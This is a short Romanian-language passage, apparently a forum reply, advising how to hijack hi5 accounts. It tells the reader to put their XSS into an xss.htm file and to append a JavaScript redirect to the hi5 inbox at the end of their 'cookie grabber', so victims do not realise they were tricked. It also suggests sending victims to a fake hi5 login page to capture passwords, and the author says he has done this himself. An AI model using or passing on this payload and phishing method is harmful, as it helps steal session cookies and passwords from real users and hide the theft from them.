1) Editezi xss.htm in notepad si iti adaugi xss-ul tau Sugestie: adauga in finalul cookie grabberului tau urmatorul cod: <script>document.location="http://www.hi5.com/friend/mail/displayInbox.do"</script> pentru nu lasa userul sa se prinda prea repede ca a fost pacalit. E un redirect final la hi5. Aici poti pune un redirect catre un scam de hi5 si apoi catre hi5-ul bun ... si iei si parola de la hi5 ... am avut eu facut asa mai de mult... exact metoda de ai prez u mai sus.